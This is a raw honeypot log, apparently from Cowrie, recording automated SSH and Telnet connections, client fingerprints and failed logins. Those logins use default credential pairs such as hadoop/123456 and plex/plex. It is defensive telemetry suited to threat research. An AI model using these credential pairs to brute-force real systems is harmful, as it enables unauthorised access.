{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:42.417398Z","src_ip":"176.65.132.129","session":"5901cbd39a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:42.666944Z","src_ip":"176.65.132.129","session":"5901cbd39a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":36392,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d92d8f29c8","protocol":"ssh","message":"New connection: 199.195.254.215:36392 (10.17.0.5:22) [session: 81d92d8f29c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:42.899633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:42.909777Z","src_ip":"199.195.254.215","session":"81d92d8f29c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:43.506642Z","src_ip":"199.195.254.215","session":"81d92d8f29c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:43.751370Z","src_ip":"176.65.132.129","session":"5901cbd39a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8538777eee40","protocol":"telnet","message":"New connection: 64.227.82.147:46740 (159.203.135.109:23) [session: 8538777eee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:45.073345Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34622,"dst_ip":"159.203.135.109","dst_port":23,"session":"2067c5461ace","protocol":"telnet","message":"New connection: 38.60.198.128:34622 (159.203.135.109:23) [session: 2067c5461ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:45.625703Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebbe507b5736","protocol":"ssh","message":"New connection: 176.65.132.129:55504 (10.17.0.5:22) [session: ebbe507b5736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:45.713860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:45.718112Z","src_ip":"176.65.132.129","session":"ebbe507b5736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:45.802594Z","src_ip":"176.65.132.129","session":"ebbe507b5736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:46.048090Z","src_ip":"176.65.132.129","session":"ebbe507b5736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.1216037273407,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:46.124046Z","src_ip":"38.60.198.128","session":"d26b06df4e94","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gameserver","password":"gameserver","message":"login attempt [gameserver/gameserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:46.159174Z","src_ip":"199.195.254.215","session":"81d92d8f29c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:47.132186Z","src_ip":"176.65.132.129","session":"ebbe507b5736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:47.885534Z","src_ip":"199.195.254.215","session":"81d92d8f29c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55516,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e1ca52ae0d","protocol":"ssh","message":"New connection: 176.65.132.129:55516 (10.17.0.5:22) [session: 36e1ca52ae0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:48.916284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:48.921305Z","src_ip":"176.65.132.129","session":"36e1ca52ae0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:49.004364Z","src_ip":"176.65.132.129","session":"36e1ca52ae0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:49.251843Z","src_ip":"176.65.132.129","session":"36e1ca52ae0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.667901277542114,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:49.616794Z","src_ip":"38.60.198.128","session":"57c132bf572c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:50.335734Z","src_ip":"176.65.132.129","session":"36e1ca52ae0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":46750,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b417c2703b2","protocol":"telnet","message":"New connection: 64.227.82.147:46750 (159.203.135.109:23) [session: 2b417c2703b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:50.819291Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"66327d2d681d","protocol":"telnet","message":"New connection: 38.60.198.128:41928 (159.203.135.109:23) [session: 66327d2d681d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:51.799350Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55520,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e6abc6e7d6","protocol":"ssh","message":"New connection: 176.65.132.129:55520 (10.17.0.5:22) [session: 93e6abc6e7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:52.177065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:52.181335Z","src_ip":"176.65.132.129","session":"93e6abc6e7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:52.262697Z","src_ip":"176.65.132.129","session":"93e6abc6e7d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:52.665853Z","src_ip":"176.65.132.129","session":"93e6abc6e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:53.750173Z","src_ip":"176.65.132.129","session":"93e6abc6e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55528,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f6d1c32a56b","protocol":"ssh","message":"New connection: 176.65.132.129:55528 (10.17.0.5:22) [session: 5f6d1c32a56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:55.588911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:55.593517Z","src_ip":"176.65.132.129","session":"5f6d1c32a56b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:55.675910Z","src_ip":"176.65.132.129","session":"5f6d1c32a56b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:55.925940Z","src_ip":"176.65.132.129","session":"5f6d1c32a56b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:57.039688Z","src_ip":"176.65.132.129","session":"5f6d1c32a56b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55326,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00c16f3740c","protocol":"telnet","message":"New connection: 38.54.119.93:55326 (10.17.0.5:23) [session: f00c16f3740c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:58.265834Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aa44e245040","protocol":"ssh","message":"New connection: 176.65.132.129:36148 (10.17.0.5:22) [session: 8aa44e245040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:58.846956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:58.851783Z","src_ip":"176.65.132.129","session":"8aa44e245040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:58.933180Z","src_ip":"176.65.132.129","session":"8aa44e245040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:59.178014Z","src_ip":"176.65.132.129","session":"8aa44e245040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:00.261996Z","src_ip":"176.65.132.129","session":"8aa44e245040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36152,"dst_ip":"10.17.0.5","dst_port":22,"session":"84ceae36fbe8","protocol":"ssh","message":"New connection: 176.65.132.129:36152 (10.17.0.5:22) [session: 84ceae36fbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:02.237098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:02.241858Z","src_ip":"176.65.132.129","session":"84ceae36fbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:02.327376Z","src_ip":"176.65.132.129","session":"84ceae36fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b251e45c511b","protocol":"telnet","message":"New connection: 45.81.23.16:44778 (10.17.0.5:23) [session: b251e45c511b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:02.429076Z"}
{"eventid":"cowrie.session.closed","duration":11.708606719970703,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:02.527807Z","src_ip":"64.227.82.147","session":"2b417c2703b2","protocol":"telnet"}
